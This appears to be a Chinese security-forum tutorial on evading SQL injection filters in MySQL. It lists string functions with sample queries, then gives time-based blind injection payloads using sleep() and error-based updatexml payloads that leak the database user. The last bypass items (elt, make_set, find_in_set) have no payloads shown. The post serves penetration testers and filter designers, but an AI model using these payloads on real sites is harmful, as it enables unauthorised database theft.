通过一些sql函数对绕过的思考

fthgb   ·   发表于 2020-06-13 11:29:13   ·   技术文章投稿区

背景

最近朋友遇到了一些过滤的问题,主要是时间盲注过滤了很多传统的函数,所以帮他解决的途中顺便查了一些函数,并对这些函数的利用做出了一些考虑
简单说明一下,本篇是先简单的提一下函数的用法,最后讲了一些利用,这些都是比较粗糙的考虑,代替if进行时间盲注那里应该还有EXPORT_SET这些函数可以利用,所以,如果写得不全这些,轻喷…最后求各位哥哥给个赞再走吧

正文

  1. ascii():返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
  2. ord():返回字符的ascii码
  3. conv(N,from_base,to_base):N是要转换的数据,from_base是原进制,to_base是目标进制。
  1. mysql> select CONV("a",16,2);
  2. -> '1010'
  1. bin():返回数字的二进制表示形式,作为字符串值(注意:必须是数字)
  2. oct():函数返回数字N的八进制数的字符串表示,这相当于使用CONV(N,10,8)。(还是只能是数字)
  3. hex():返回十六进制值N一个字符串的表示,这等价于CONV(N,10,16)。
  4. char():将参数解释为整数并且返回由这些整数的ASCII代码字符组成的一个字符串。
  1. mysql> select CHAR(77,121,83,81,'76');
  2. -> 'MySQL'
  3. mysql> select CHAR(77,77.3,'77.3');
  4. -> 'MMM'
  1. concat()/concat_ws()/group_concat():返回来自于参数连结的字符串
  2. length/octet_length/char_length/character_length:长度返回
  3. locate/position/instr:都是判断位置的,instr可以和limit连用来达到前面两个的效果
  1. mysql> select locate('f1','f1fhgb');
  2. -> 1
  3. mysql> select locate('f0','f1fhgb');
  4. -> 0
  5. mysql> select locate('fh','f1fhgb');
  6. -> 3
  7. mysql> select position('bc'in'abc');
  8. -> 2
  9. mysql> select instr('aabca','abc');
  10. -> 2
  11. mysql> select instr('abca','abc');
  12. -> 1
  1. lpad/rpad():一个在最开始填充,一个在末尾填充:
  1. mysql> select lpad('hi',9,'ab');
  2. -> abababahi
  1. left/right():返回字符串str的最左/右面len个字符。
  1. mysql> select left('abcdef',5);
  2. -> abcde
  3. mysql> select right('abcdef',5);
  4. -> bcdef
  1. substring\substring_index
  1. mysql> select substring('12345' from 2 for 1);
  2. -> 2
  3. mysql> select substring('12345',2,1);
  4. -> 2
  5. mysql> select substring_index('tll','t',1);
  6. ->
  7. mysql> select substring_index('tll','l',1);
  8. -> t
  1. elt(N,str1,str2,str3,…):如果N= 1,返回str1。如果N=2,返回str2,等等。如果N小于1或大于参数个数,返回NULL。ELT()是FIELD()反运算。
  2. find_in_set(str,strlist):如果字符串str在由N子串组成的表strlist之中,返回一个1到N的值。一个字符串表是被”,”分隔的子串组成的一个字符串。
  3. make_set(bits,str1,str2,…):返回一个集合(包含由”,”字符分隔的子串组成的一个字符串),由相应的位在bits集合中的的字符串组成。str1对应于位0,str2对应位1,等等。

总结

  1. asciiord互用
  2. char()可以在宽字节注入的时候用这个
  3. locatepositioninstr可以用来盲注,大概构造select * from tll where id=11 union select 1,2,3,locate('a',(select database()));或者时间盲注感觉有点可能或者不用if直接时间盲注:大致语法select * from tll where id=1 and (locate('tll',(select database()))=1) and sleep(5);到时候往里面加substr这些截断就可以真正的时间盲注
  4. leftright可以用来在过滤substr这些的时候用
  5. substrsubstringsubstring_index都可以用来截断,这里提一下substring_index搭配用法if(substring_index((select database()),'t',1)='',sleep(5),1)只要慢慢的累加就行
  6. 我们都知道要是用updatexml的时候必须至少含有一个特殊字符,否则会漏掉一些数据而当concat被拦截的时候,就会导致没法拼接特殊字符,所以这里可以利用make_setlpadrepeatreverseexport_setinsert这些函数的用法就不一一列举,有兴趣的可以去看看
  1. mysql> select * from tll where id=11 or updatexml(1,insert(0x7e,2,1,(select user())),1);
  2. ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
  3. mysql> select updatexml(1,lpad('@',30,(select user())),1);
  4. ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'
  5. mysql> select updatexml(1,repeat((select user()),2),1);
  6. ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'
  7. mysql> select updatexml(1,(select user()),1);
  8. ERROR 1105 (HY000): XPATH syntax error: '@localhost'
  9. mysql> select updatexml(1,reverse((select user())),1);
  10. ERROR 1105 (HY000): XPATH syntax error: '@toor'
  11. mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);
  12. ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'
  1. 我们都知道如果在想要时间盲注的时候,要是if过滤了就差不多凉凉了,但是这里我们可以使用elt来代替if进行绕过
    或者使用make_set来代替if进行时间盲注:
  2. find_in_set在完全过滤了等于号时来进行时间盲注:

给位哥哥给个赞再走可好,QAQ

用户名金币积分时间理由
奖励系统 100.00 0 2020-06-16 11:11:38 投稿满 10 赞奖励
奖励系统 50.00 0 2020-06-16 10:10:25 投稿满 5 赞奖励
admin 100.00 0 2020-06-15 15:03:19 支持,可以拓展写,逻辑清晰一点

打赏我,让我更有动力~

2 Reply   |  Until 2020-6-16 | 729 View

羔羊
发表于 2020-6-16

干货满满啊大佬

评论列表

  • 加载数据中...

编写评论内容

l836918621
发表于 2020-6-16

牛批!可惜今天没的赞了,明天赞

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.